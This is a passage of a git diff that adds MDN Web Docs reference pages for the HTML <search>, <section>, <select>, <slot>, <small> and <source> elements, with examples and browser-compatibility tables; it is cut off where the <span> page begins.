+    <article>
+      <!-- search result content -->
+    </article>
+  </main>
+</body>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories +Flow content, palpable content.
Permitted content +Flow content.
Tag omission None, both the starting and ending tag are mandatory.
Implicit ARIA role search
Permitted ARIA roles +form, group, none, presentation, region, search +
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-search-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
search118118118No10417118118118No17No
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/search +

+
diff --git a/devdocs/html/element%2Fsection.html b/devdocs/html/element%2Fsection.html new file mode 100644 index 00000000..428182f0 --- /dev/null +++ b/devdocs/html/element%2Fsection.html @@ -0,0 +1,118 @@ +

<section>: The Generic Section element

The <section> HTML element represents a generic standalone section of a document, which doesn't have a more specific semantic element to represent it. Sections should always have a heading, with very few exceptions.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

As mentioned above, <section> is a generic sectioning element, and should only be used if there isn't a more specific element to represent it. As an example, a navigation menu should be wrapped in a <nav> element, but a list of search results or a map display and its controls don't have specific elements, and could be put inside a <section>.

Also consider these cases:

To reiterate, each <section> should be identified, typically by including a heading (h1 - h6 element) as a child of the <section> element, wherever possible. See below for examples of where you might see a <section> without a heading.

+
+

Examples

+ +

Simple usage example

+
+

Before

+

html

+
<div>
+  <h2>Heading</h2>
+  <p>Bunch of awesome content</p>
+</div>
+
+
Result
+
+ + +

After

+

html

+
<section>
+  <h2>Heading</h2>
+  <p>Bunch of awesome content</p>
+</section>
+
+
Result
+
+ + +
+
+

Using a section without a heading

+
+

Circumstances where you might see <section> used without a heading are typically found in web application/UI sections rather than in traditional document structures. In a document, it doesn't really make any sense to have a separate section of content without a heading to describe its contents. Such headings are useful for all readers, but particularly useful for users of assistive technologies like screen readers, and they are also good for SEO.

Consider however a secondary navigation mechanism. If the global navigation is already wrapped in a <nav> element, you could conceivably wrap a previous/next menu in a <section>:

+

html

+
<section>
+  <a href="#">Previous article</a>
+  <a href="#">Next article</a>
+</section>
+
+

Or what about some kind of button bar for controlling your app? This might not necessarily want a heading, but it is still a distinct section of the document:

+

html

+
<section>
+  <button class="reply">Reply</button>
+  <button class="reply-all">Reply to all</button>
+  <button class="fwd">Forward</button>
+  <button class="del">Delete</button>
+</section>
+
+

Result

+
+ + +

Depending on the content, including a heading could also be good for SEO, so it is an option to consider.

+
+

Technical summary

+
Content categories Flow content, Sectioning content, palpable content.
Permitted content +Flow content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content. Note that a <section> element must not be a descendant of an <address> element.
Implicit ARIA role region if the element has an accessible name, otherwise generic
Permitted ARIA roles alert, alertdialog, application, banner, complementary, contentinfo, dialog, document, feed, log, main, marquee, navigation, none, note, presentation, search, status, tabpanel
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-section-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
section5124911.154.418411.14.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/section +

+
diff --git a/devdocs/html/element%2Fselect.html b/devdocs/html/element%2Fselect.html new file mode 100644 index 00000000..5bf0a08e --- /dev/null +++ b/devdocs/html/element%2Fselect.html @@ -0,0 +1,548 @@ +

<select>: The HTML Select element

The <select> HTML element represents a control that provides a menu of options.

+

Try it

+
+

The above example shows typical <select> usage. It is given an id attribute to enable it to be associated with a <label> for accessibility purposes, as well as a name attribute to represent the name of the associated data point submitted to the server. Each menu option is defined by an <option> element nested inside the <select>.

Each <option> element should have a value attribute containing the data value to submit to the server when that option is selected. If no value attribute is included, the value defaults to the text contained inside the element. You can include a selected attribute on an <option> element to make it selected by default when the page first loads.

The <select> element has some unique attributes you can use to control it, such as multiple to specify whether multiple options can be selected, and size to specify how many options should be shown at once. It also accepts most of the general form input attributes such as required, disabled, autofocus, etc.

You can further nest <option> elements inside <optgroup> elements to create separate groups of options inside the dropdown.

For further examples, see The native form widgets: Drop-down content.

+
+

Attributes

+
+

This element includes the global attributes.

autocomplete

A string providing a hint for a user agent's autocomplete feature. See The HTML autocomplete attribute for a complete list of values and details on how to use autocomplete.

autofocus

This Boolean attribute lets you specify that a form control should have input focus when the page loads. Only one form element in a document can have the autofocus attribute.

disabled

This Boolean attribute indicates that the user cannot interact with the control. If this attribute is not specified, the control inherits its setting from the containing element, for example <fieldset>; if there is no containing element with the disabled attribute set, then the control is enabled.

form

The <form> element to associate the <select> with (its form owner). The value of this attribute must be the id of a <form> in the same document. (If this attribute is not set, the <select> is associated with its ancestor <form> element, if any.)

This attribute lets you associate <select> elements to <form>s anywhere in the document, not just inside a <form>. It can also override an ancestor <form> element.

multiple

This Boolean attribute indicates that multiple options can be selected in the list. If it is not specified, then only one option can be selected at a time. When multiple is specified, most browsers will show a scrolling list box instead of a single line dropdown.

name

This attribute is used to specify the name of the control.

required

A Boolean attribute indicating that an option with a non-empty string value must be selected.

size

If the control is presented as a scrolling list box (e.g. when multiple is specified), this attribute represents the number of rows in the list that should be visible at one time. Browsers are not required to present a select element as a scrolled list box. The default value is 0.

Note: According to the HTML specification, the default value for size should be 1; however, in practice, this has been found to break some websites, and no other browser currently does that, so Mozilla has opted to continue to return 0 for the time being with Firefox.

+
+

Usage notes

+ +

Selecting multiple options

+
+

On a desktop computer, there are a number of ways to select multiple options in a <select> element with a multiple attribute:

Mouse users can hold the Ctrl, Command, or Shift keys (depending on what makes sense for your operating system) and then click multiple options to select/deselect them.

Warning: The mechanism for selecting multiple non-contiguous items via the keyboard described below currently only seems to work in Firefox.

On macOS, the Ctrl + Up and Ctrl + Down shortcuts conflict with the OS default shortcuts for Mission Control and Application windows, so you'll have to turn these off before it will work.

Keyboard users can select multiple contiguous items by:

Keyboard users can select multiple non-contiguous items by:

+
+

Styling with CSS

+
+

The <select> element is notoriously difficult to style productively with CSS. You can affect certain aspects like any element — for example, manipulating the box model, the displayed font, etc., and you can use the appearance property to remove the default system appearance.

However, these properties don't produce a consistent result across browsers, and it is hard to do things like line different types of form element up with one another in a column. The <select> element's internal structure is complex, and hard to control. If you want to get full control, you should consider using a library with good facilities for styling form widgets, or try rolling your own dropdown menu using non-semantic elements, JavaScript, and WAI-ARIA to provide semantics.

For more useful information on styling <select>, see:

Also see the "Customizing select styles" example below for an example of you could attempt a simple <select> styling.

+
+

Examples

+ +

Basic select

+
+

The following example creates a very simple dropdown menu, the second option of which is selected by default.

+

html

+
<!-- The second value will be selected initially -->
+<select name="choice">
+  <option value="first">First Value</option>
+  <option value="second" selected>Second Value</option>
+  <option value="third">Third Value</option>
+</select>
+
+

Result

+
+ + +
+
+

Advanced select with multiple features

+
+

The follow example is more complex, showing off more features you can use on a <select> element:

+

html

+
<label>
+  Please choose one or more pets:
+  <select name="pets" multiple size="4">
+    <optgroup label="4-legged pets">
+      <option value="dog">Dog</option>
+      <option value="cat">Cat</option>
+      <option value="hamster" disabled>Hamster</option>
+    </optgroup>
+    <optgroup label="Flying pets">
+      <option value="parrot">Parrot</option>
+      <option value="macaw">Macaw</option>
+      <option value="albatross">Albatross</option>
+    </optgroup>
+  </select>
+</label>
+
+

Result

+
+ + +

You'll see that:

+
+

Customizing select styles

+
+

This example shows how you could use some CSS and JavaScript to provide extensive custom styling for a <select> box.

This example basically:

Note: Not all native features are supported, it's a Proof of Concept. IT starts from standard HTML but the same results can be achieved starting from JSON data, custom HTML, or other solutions.

HTML

+

html

+
<form>
+  <fieldset>
+    <legend>Standard controls</legend>
+    <select name="1A" id="select" autocomplete="off" required>
+      <option>Carrots</option>
+      <option>Peas</option>
+      <option>Beans</option>
+      <option>Pneumonoultramicroscopicsilicovolcanoconiosis</option>
+    </select>
+  </fieldset>
+  <fieldset id="custom">
+    <legend>Custom controls</legend>
+    <select name="2A" id="select" autocomplete="off" required>
+      <option>Carrots</option>
+      <option>Peas</option>
+      <option>Beans</option>
+      <option>Pneumonoultramicroscopicsilicovolcanoconiosis</option>
+    </select>
+  </fieldset>
+</form>
+
+

CSS

+

css

+
body {
+  font-family: Cambria, Cochin, Georgia, Times, "Times New Roman", serif;
+}
+
+.select:focus {
+  border-color: blue;
+}
+
+html body form fieldset#custom div.select[data-multiple] div.header {
+  display: none;
+}
+
+html body form fieldset#custom div.select div.header {
+  content: "↓";
+  display: flex;
+  flex: 1;
+  align-items: center;
+  padding: 0;
+  position: relative;
+  width: auto;
+  box-sizing: border-box;
+  border-width: 1px;
+  border-style: inherit;
+  border-color: inherit;
+  border-radius: inherit;
+}
+
+html body form fieldset#custom div.select div.header::after {
+  content: "↓";
+  align-self: stretch;
+  display: flex;
+  align-content: center;
+  justify-content: center;
+  justify-items: center;
+  align-items: center;
+  padding: 0.5em;
+}
+
+html body form fieldset#custom div.select div.header:hover::after {
+  background-color: blue;
+}
+
+.select .header select {
+  appearance: none;
+  font-family: inherit;
+  font-size: inherit;
+  padding: 0;
+  border-width: 0;
+  width: 100%;
+  flex: 1;
+  display: none;
+}
+
+.select .header select optgroup {
+  display: none;
+}
+
+.select select div.option {
+  display: none;
+}
+
+html body form fieldset#custom div.select {
+  user-select: none;
+  box-sizing: border-box;
+  position: relative;
+  border-radius: 4px;
+  border-style: solid;
+  border-width: 0;
+  border-color: gray;
+  width: auto;
+  display: inline-block;
+}
+
+html body form fieldset#custom div.select:focus,
+html body form fieldset#custom div.select:hover {
+  border-color: blue;
+}
+
+html body form fieldset#custom div.select[data-open] {
+  border-bottom-left-radius: 0;
+  border-bottom-right-radius: 0;
+}
+
+html body form fieldset#custom div.select[data-open] datalist {
+  display: initial;
+}
+
+html body form fieldset#custom div.select datalist {
+  appearance: none;
+  position: absolute;
+  border-style: solid;
+  border-width: 1px;
+  border-color: gray;
+  left: 0;
+  display: none;
+  width: 100%;
+  box-sizing: border-box;
+  z-index: 2;
+  border-bottom-left-radius: 4px;
+  border-bottom-right-radius: 4px;
+}
+
+html body form fieldset#custom div.select datalist div.option {
+  background-color: white;
+  margin-bottom: 1px;
+  cursor: pointer;
+  padding: 0.5em;
+  border-width: 0;
+}
+
+html body form fieldset#custom div.select datalist div.option:hover,
+html body form fieldset#custom div.select datalist div.option:focus,
+html body form fieldset#custom div.select datalist div.option:checked {
+  background-color: blue;
+  color: white;
+}
+
+html
+  body
+  form
+  fieldset#custom
+  div.select
+  div.optgroup
+  div.option[data-disabled] {
+  color: gray;
+}
+
+html
+  body
+  form
+  fieldset#custom
+  div.select
+  div.optgroup
+  div.option[data-checked] {
+  background-color: blue;
+  color: white;
+}
+
+html body form fieldset#custom div.select div.optgroup div.label {
+  font-weight: bold;
+}
+
+html body form fieldset#custom div.select div.optgroup div.option div.label {
+  font-weight: normal;
+  padding: 0.25em;
+}
+
+html body form fieldset#custom div.select div.header span {
+  flex: 1;
+  padding: 0.5em;
+}
+
+

JavaScript

+

js

+
const selects = custom.querySelectorAll("select");
+for (const select of selects) {
+  const div = document.createElement("div");
+  const header = document.createElement("div");
+  const datalist = document.createElement("datalist");
+  const optgroups = select.querySelectorAll("optgroup");
+  const span = document.createElement("span");
+  const options = select.options;
+  const parent = select.parentElement;
+  const multiple = select.hasAttribute("multiple");
+  function onclick(e) {
+    const disabled = this.hasAttribute("data-disabled");
+    select.value = this.dataset.value;
+    span.innerText = this.dataset.label;
+    if (disabled) return;
+    if (multiple) {
+      if (e.shiftKey) {
+        const checked = this.hasAttribute("data-checked");
+        if (checked) {
+          this.removeAttribute("data-checked");
+        } else {
+          this.setAttribute("data-checked", "");
+        }
+      } else {
+        const options = div.querySelectorAll(".option");
+        for (let i = 0; i < options.length; i++) {
+          const option = options[i];
+          option.removeAttribute("data-checked");
+        }
+        this.setAttribute("data-checked", "");
+      }
+    }
+  }
+
+  function onkeyup(e) {
+    e.preventDefault();
+    e.stopPropagation();
+    if (e.keyCode === 13) {
+      this.click();
+    }
+  }
+
+  div.classList.add("select");
+  header.classList.add("header");
+  div.tabIndex = 1;
+  select.tabIndex = -1;
+  span.innerText = select.label;
+  header.appendChild(span);
+
+  for (const attribute of select.attributes) {
+    div.dataset[attribute.name] = attribute.value;
+  }
+  for (let i = 0; i < options.length; i++) {
+    const option = document.createElement("div");
+    const label = document.createElement("div");
+    const o = options[i];
+    for (const attribute of o.attributes) {
+      option.dataset[attribute.name] = attribute.value;
+    }
+    option.classList.add("option");
+    label.classList.add("label");
+    label.innerText = o.label;
+    option.dataset.value = o.value;
+    option.dataset.label = o.label;
+    option.onclick = onclick;
+    option.onkeyup = onkeyup;
+    option.tabIndex = i + 1;
+    option.appendChild(label);
+    datalist.appendChild(option);
+  }
+  div.appendChild(header);
+  for (const o of optgroups) {
+    const optgroup = document.createElement("div");
+    const label = document.createElement("div");
+    const options = o.querySelectorAll("option");
+
+    Object.assign(optgroup, o);
+    optgroup.classList.add("optgroup");
+    label.classList.add("label");
+    label.innerText = o.label;
+    optgroup.appendChild(label);
+    div.appendChild(optgroup);
+    for (const o of options) {
+      const option = document.createElement("div");
+      const label = document.createElement("div");
+
+      for (const attribute of o.attributes) {
+        option.dataset[attribute.name] = attribute.value;
+      }
+      option.classList.add("option");
+      label.classList.add("label");
+      label.innerText = o.label;
+      option.tabIndex = i + 1;
+      option.dataset.value = o.value;
+      option.dataset.label = o.label;
+      option.onclick = onclick;
+      option.onkeyup = onkeyup;
+      option.tabIndex = i + 1;
+      option.appendChild(label);
+      optgroup.appendChild(option);
+    }
+  }
+
+  div.onclick = (e) => {
+    e.preventDefault();
+  };
+
+  parent.insertBefore(div, select);
+  header.appendChild(select);
+  div.appendChild(datalist);
+  datalist.style.top = `${header.offsetTop + header.offsetHeight}px`;
+
+  div.onclick = (e) => {
+    if (!multiple) {
+      const open = div.hasAttribute("data-open");
+      e.stopPropagation();
+      if (open) {
+        div.removeAttribute("data-open");
+      } else {
+        div.setAttribute("data-open", "");
+      }
+    }
+  };
+
+  div.onkeyup = (event) => {
+    event.preventDefault();
+    if (event.keyCode === 13) {
+      div.click();
+    }
+  };
+
+  document.addEventListener("click", (e) => {
+    if (div.hasAttribute("data-open")) {
+      div.removeAttribute("data-open");
+    }
+  });
+
+  const width = Math.max(
+    ...Array.from(options).map((e) => {
+      span.innerText = e.label;
+      return div.offsetWidth;
+    }),
+  );
+
+  console.log(width);
+  div.style.width = `${width}px`;
+}
+document.forms[0].onsubmit = (e) => {
+  const data = new FormData(this);
+  e.preventDefault();
+  submit.innerText = JSON.stringify([...data.entries()]);
+};
+
+

Result

+ +
+

Technical summary

+
Content categories Flow content, phrasing content, interactive content, listed, labelable, resettable, and submittable form-associated element
Permitted content Zero or more <option> or <optgroup> elements.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role combobox with no multiple attribute and no size attribute greater than 1, otherwise listbox
Permitted ARIA roles menu with no multiple attribute and no size attribute greater than 1, otherwise no role permitted
DOM interface HTMLSelectElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-select-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
select
1border-radius on <select> elements is ignored unless -webkit-appearance is overridden to an appropriate value.
12
1Historically, Firefox has allowed keyboard and mouse events to bubble up from the <option> element to the parent <select> element, although this behavior is inconsistent across many browsers. For better Web compatibility (and for technical reasons), when Firefox is in multi-process mode the <select> element is displayed as a drop-down list. The behavior is unchanged if the <select> is presented inline and it has either the multiple attribute defined or a size attribute set to more than 1. Rather than watching <option> elements for events, you should watch for change events on <select>. See bug 1090602 for details.
Yes2
1border-radius on <select> elements is ignored unless -webkit-appearance is overridden to an appropriate value.
≤37["In the Browser app for Android 4.1 (and possibly later versions), there is a bug where the menu indicator triangle on the side of a <select> will not be displayed if a background, border, or border-radius style is applied to the <select>.", "border-radius on <select> elements is ignored unless -webkit-appearance is overridden to an appropriate value."]
18border-radius on <select> elements is ignored unless -webkit-appearance is overridden to an appropriate value.
4Firefox for Android, by default, sets a background-image gradient on all <select multiple> elements. This can be disabled using background-image: none.
10.1
1border-radius on <select> elements is ignored unless -webkit-appearance is overridden to an appropriate value.
1.0border-radius on <select> elements is ignored unless -webkit-appearance is overridden to an appropriate value.
disabled1121Yes1534.41841421.0
form1121Yes1534.41841421.0
multiple1121Yes1534.41841421.0
name1121Yes1534.41841421.0
required1012410155.14.41841451.0
size1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/select +

+
diff --git a/devdocs/html/element%2Fslot.html b/devdocs/html/element%2Fslot.html new file mode 100644 index 00000000..e7b67e7a --- /dev/null +++ b/devdocs/html/element%2Fslot.html @@ -0,0 +1,128 @@ +

<slot>: The Web Component Slot element

The <slot> HTML element—part of the Web Components technology suite—is a placeholder inside a web component that you can fill with your own markup, which lets you create separate DOM trees and present them together.

+

Attributes

+
+

This element includes the global attributes.

name

The slot's name.

A named slot is a <slot> element with a name attribute.

+
+

Examples

+
+
+

html

+
<template id="element-details-template">
+  <style>
+    details {
+      font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
+    }
+    .name {
+      font-weight: bold;
+      color: #217ac0;
+      font-size: 120%;
+    }
+    h4 {
+      margin: 10px 0 -8px 0;
+      background: #217ac0;
+      color: white;
+      padding: 2px 6px;
+      border: 1px solid #cee9f9;
+      border-radius: 4px;
+    }
+    .attributes {
+      margin-left: 22px;
+      font-size: 90%;
+    }
+    .attributes p {
+      margin-left: 16px;
+      font-style: italic;
+    }
+  </style>
+  <details>
+    <summary>
+      <code class="name">
+        &lt;<slot name="element-name">NEED NAME</slot>&gt;
+      </code>
+      <span class="desc"><slot name="description">NEED DESCRIPTION</slot></span>
+    </summary>
+    <div class="attributes">
+      <h4>Attributes</h4>
+      <slot name="attributes"><p>None</p></slot>
+    </div>
+  </details>
+  <hr />
+</template>
+
+

Note: You can see this complete example in action at element-details (see it running live). In addition, you can find an explanation at Using templates and slots.

+
+

Technical summary

+
Content categories Flow content, phrasing content
Permitted content Transparent
Events slotchange
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLSlotElement
+

Specifications

+
+ + + + + +
Specification
HTML Standard
# the-slot-element
DOM Standard
# shadow-tree-slots
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
slot537963No401053536341106.0
name537963No401053536341106.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/slot +

+
diff --git a/devdocs/html/element%2Fsmall.html b/devdocs/html/element%2Fsmall.html new file mode 100644 index 00000000..5f2c7931 --- /dev/null +++ b/devdocs/html/element%2Fsmall.html @@ -0,0 +1,96 @@ +

<small>: the side comment element

The <small> HTML element represents side-comments and small print, like copyright and legal text, independent of its styled presentation. By default, it renders text within it one font-size smaller, such as from small to x-small.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+ +

Basic usage

+
+
+

html

+
<p>
+  This is the first sentence.
+  <small>This whole sentence is in small letters.</small>
+</p>
+
+

Result

+
+ + +
+
+

CSS alternative

+
+
+

html

+
<p>
+  This is the first sentence.
+  <span style="font-size:0.8em">This whole sentence is in small letters.</span>
+</p>
+
+

Result

+
+ + +
+
+

Notes

+

Although the <small> element, like the <b> and <i> elements, may be perceived to violate the principle of separation between structure and presentation, all three are valid in HTML. Authors are encouraged to use their best judgement when determining whether to use <small> or CSS.

+

Technical summary

+
Content categories Flow content, phrasing content
Permitted content Phrasing content
Tag omission None; must have both a start tag and an end tag.
Permitted parents Any element that accepts phrasing content, or any element that accepts flow content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-small-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
small1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/small +

+
diff --git a/devdocs/html/element%2Fsource.html b/devdocs/html/element%2Fsource.html new file mode 100644 index 00000000..d1e07d52 --- /dev/null +++ b/devdocs/html/element%2Fsource.html @@ -0,0 +1,255 @@ +

<source>: The Media or Image Source element

The <source> HTML element specifies multiple media resources for the <picture>, the <audio> element, or the <video> element. It is a void element, meaning that it has no content and does not have a closing tag. It is commonly used to offer the same media content in multiple file formats in order to provide compatibility with a broad range of browsers given their differing support for image file formats and media file formats.

+

Try it

+
+
Content categories None.
Permitted content None; it is a void element.
Tag omission It must have a start tag, but must not have an end tag.
Permitted parents A media element—<audio> or <video>—and it must be placed before any flow content or <track> element. A <picture> element, and it must be placed before the <img> element.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLSourceElement
+
+

Attributes

+
+

This element includes the global attributes.

type

The MIME media type of the image or other media type, optionally with a codecs parameter.

src

Required if the source element's parent is an <audio> and <video> element, but not allowed if the source element's parent is a <picture> element.

Address of the media resource.

srcset

Required if the source element's parent is a <picture> element, but not allowed if the source element's parent is an <audio> or <video> element.

A list of one or more strings, separated by commas, indicating a set of possible images represented by the source for the browser to use. Each string is composed of:

  1. One URL specifying an image.
  2. A width descriptor, which consists of a string containing a positive integer directly followed by "w", such as 300w. The default value, if missing, is the infinity.
  3. A pixel density descriptor, that is a positive floating number directly followed by "x". The default value, if missing, is 1x.

Each string in the list must have at least a width descriptor or a pixel density descriptor to be valid. The two types of descriptors should not be mixed together and only one should be used consistently throughout the list. Among the list, the value of each descriptor must be unique. The browser chooses the most adequate image to display at a given point of time. If the sizes attribute is present, then a width descriptor must be specified for each string. If the browser does not support srcset, then src will be used for the default source.

sizes

Allowed if the source element's parent is a <picture> element, but not allowed if the source element's parent is an <audio> or <video> element.

A list of source sizes that describes the final rendered width of the image represented by the source. Each source size consists of a comma-separated list of media condition-length pairs. Before laying the page out, the browser uses this information to determine which image is defined in srcset to use. Please note that sizes will have its effect only if width dimension descriptors are provided with srcset instead of pixel ratio values (200w instead of 2x for example).

media

Media query of the resource's intended media.

height

Allowed if the source element's parent is a <picture> element, but not allowed if the source element's parent is an <audio> or <video> element.

The intrinsic height of the image, in pixels. Must be an integer without a unit.

width

Allowed if the source element's parent is a <picture> element, but not allowed if the source element's parent is an <audio> or <video> element.

The intrinsic width of the image in pixels. Must be an integer without a unit.

If the type attribute isn't specified, the media's type is retrieved from the server and checked to see if the user agent can handle it; if it can't be rendered, the next <source> is checked. If the type attribute is specified, it's compared against the types the user agent can present, and if it's not recognized, the server doesn't even get queried; instead, the next <source> element is checked at once.

When used in the context of a <picture> element, the browser will fall back to using the image specified by the <picture> element's <img> child if it is unable to find a suitable image to use after examining every provided <source>.

+
+

Usage notes

+
+

The <source> element is a void element, which means that it not only has no content but also has no closing tag. That is, you never use "</source>" in your HTML.

For information about image formats supported by web browsers and guidance on selecting appropriate formats to use, see our Image file type and format guide on the web. For details on the video and audio media types you can use, see the Guide to media types formats used on the web.

+
+

Examples

+ +

Video with type attribute example

+
+

This example demonstrates how to offer a video in WebM format for users whose browsers support WebM format, Ogg format for users whose browsers support Ogg format, and a QuickTime format video for users whose browsers support that. If the audio or video element is not supported by the browser, a notice is displayed instead. If the browser supports the element but does not support any of the specified formats, an error event is raised and the default media controls (if enabled) will indicate an error. Be sure to reference our guide to media types and formats on the web for details on what media file formats you can use and how well they're supported by browsers.

+

html

+
<video controls>
+  <source src="foo.webm" type="video/webm" />
+  <source src="foo.ogg" type="video/ogg" />
+  <source src="foo.mov" type="video/quicktime" />
+  I'm sorry; your browser doesn't support HTML video.
+</video>
+
+
+
+

Video with media attribute example

+
+

This example demonstrates how to offer an alternate source file for viewports at or above a certain width. When a user's browsing environment meets the specified media condition, the associated <source> element is chosen, and the contents of its src attribute are requested and rendered. If the media condition does not match, the user agent will move on to the next <source> in the source order. The second source option in the below code has no media condition, so will be selected for all other browsing contexts.

+

html

+
<video controls>
+  <source src="foo-large.webm" media="(min-width: 800px)" />
+  <source src="foo.webm" />
+  I'm sorry; your browser doesn't support HTML video.
+</video>
+
+

For more examples, the learning area article Video and audio content is a great resource.

+
+

Picture example

+
+

In this example, two <source> elements are included within the <picture>, providing versions of an image to use when the available space exceeds certain widths. If the available width is less than the smallest of these widths, the user agent will fall back to the image given by the <img> element.

+

html

+
<picture>
+  <source srcset="mdn-logo-wide.png" media="(min-width: 800px)" />
+  <source srcset="mdn-logo-medium.png" media="(min-width: 600px)" />
+  <img src="mdn-logo-narrow.png" alt="MDN Web Docs" />
+</picture>
+
+

With the <picture> element, you must always include an <img> with a fallback image, with an alt attribute to ensure accessibility (unless the image is an irrelevant background decorative image).

+
+

Picture with height & width attributes example

+
+

In this example, three <source> elements with height and width attributes are included in a <picture> element. A media query allows the browser to select an image to display with the height and width attributes based on the viewport size.

+

html

+
<picture>
+  <source
+    srcset="landscape.png"
+    media="(min-width: 1000px)"
+    width="1000"
+    height="400" />
+  <source
+    srcset="square.png"
+    media="(min-width: 800px)"
+    width="800"
+    height="800" />
+  <source
+    srcset="portrait.png"
+    media="(min-width: 600px)"
+    width="600"
+    height="800" />
+  <img
+    src="fallback.png"
+    alt="Image used when the browser does not support the sources"
+    width="500"
+    height="400" />
+</picture>
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-source-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
source312
3.5Until Firefox 15, Firefox picked the first source element that has a type matching the MIME-type of a supported media format; see bug 449363 for details.
9153.14.418
4Until Firefox 15, Firefox picked the first source element that has a type matching the MIME-type of a supported media format; see bug 449363 for details.
1421.0
height9090108976159090108641515.0
media312159153.14.418151421.0
sizes38
34–38Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+		≤1838No25
21–25Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+		9.138
37–38Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+		38
34–38Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+		3825
21–25Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+		9.33.0
2.0–3.0Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+
src3123.59153.14.41841421.0
srcset38
34–38Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+		≤1838No25
21–25Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+		9.138
37–38Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+		38
34–38Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+		3825
21–25Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+		9.33.0
2.0–3.0Supports a subset of the syntax for resolution switching (using the x descriptor), but not the full syntax that can be used with sizes (using the w descriptor).
+
type3123.59153.14.41841421.0
width9090108976159090108641515.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/source +

+
diff --git a/devdocs/html/element%2Fspan.html b/devdocs/html/element%2Fspan.html new file mode 100644 index 00000000..332a3f51 --- /dev/null +++ b/devdocs/html/element%2Fspan.html @@ -0,0 +1,96 @@ +

<span>: The Content Span element

